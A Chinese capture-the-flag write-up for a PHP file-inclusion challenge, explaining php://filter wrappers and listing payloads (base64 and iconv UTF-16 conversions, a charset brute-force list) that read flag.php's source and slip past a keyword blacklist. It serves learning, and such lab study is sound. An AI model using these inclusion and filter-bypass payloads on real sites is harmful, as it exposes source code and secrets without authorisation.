攻防世界_file_include
file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
php://filter:php的伪协议,用于对数据流进行过滤处理。
文件包含漏洞
//代码中存在类似 include()、require()、file_get_contents() 等函数,并且参数用户可控
eg: include($_GET['file']); // 比如 ?file=index.php
为什么用
php://filter如果直接包含
.php文件,PHP 会执行它,而不是显示源码。使用
php://filter可以 避免代码执行,而是以 编码后的形式读取源码(如 Base64、UTF-16 等)。
resource=<要过滤的的数据流>这个参数是必须的,它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>对读取的数据流应用一个或多个过滤器(按顺序处理)php://filter/read=convert.base64-encode/resource=flag.php #先读取flag.php,在对其内容进行base64编码
write=<写链的筛选列表>对写入的数据流应用一个或多个过滤器php://filter/write=string.rot13/resource=test.txt #php://filter/write=string.rot13/resource=test.txt
<无前缀的筛选列表>若未指定read=或write=,过滤器会同时应用于读写链(根据操作类型自动适配)。
伪协议种类
file://访问本地文件系统
http://访问http(s)网址
ftp://访问ftp
php://访问各个输入/输出流
zlib://压缩流
data://数据
rar://RAR压缩包
ogg://音频流
文件读取(无需执行php代码)
特征
系统允许读取文件,但可能:
过滤了
../(目录穿越)限制文件后缀(如只允许
.txt)对文件内容做检查(如检测
<?php标签)为什么用
convert.iconv?编码转换可以 绕过内容检测,例如:
convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测 convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码使用
convert.iconv.utf8.utf16和直接读取文件(如?filename=flag.php)或使用convert.base64的区别?filename=flag.php #直接读取 flag.php(无过滤器) #PHP 会直接解析 flag.php 中的代码(如执行 <?php $flag="FLAG{xxx}"; ?>),导致无法看到源码内容(仅显示执行结果)。 ?filename=php://filter/convert.base64-encode/resource=flag.php #使用 convert.base64-encode #将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。 ?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php #使用 convert.iconv.utf8.utf16 #将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果: /* 1.破坏 PHP 标签结构: 原始 <?php ?> 的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。 例如:<?php → UTF-16 可能变为 \x00<\x00?\x00p\x00h\x00p\x00(不可执行)。 2.输出转换后的“乱码”: 文件内容以 UTF-16 形式输出(包含大量空字节 \x00 和编码字符)。 若 flag.php 内容为 <?php $flag="FLAG{xxx}"; ?>,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。
绕过WAF/黑名单
直接访问
flag.php被拦截,但php://filter可能未被检测。?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
详解php://filter以及死亡绕过
php://filter的各种过滤器
wp
?filename=php://filter/convert.base64/resource=flag.php
发现有过滤,提示“do not hack!" 猜测是黑名单检测敏感字符串
抓包字符集爆破
?filename=php://filter/convert.iconv.1.2/resource=flag.php
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

浙公网安备 33010602011771号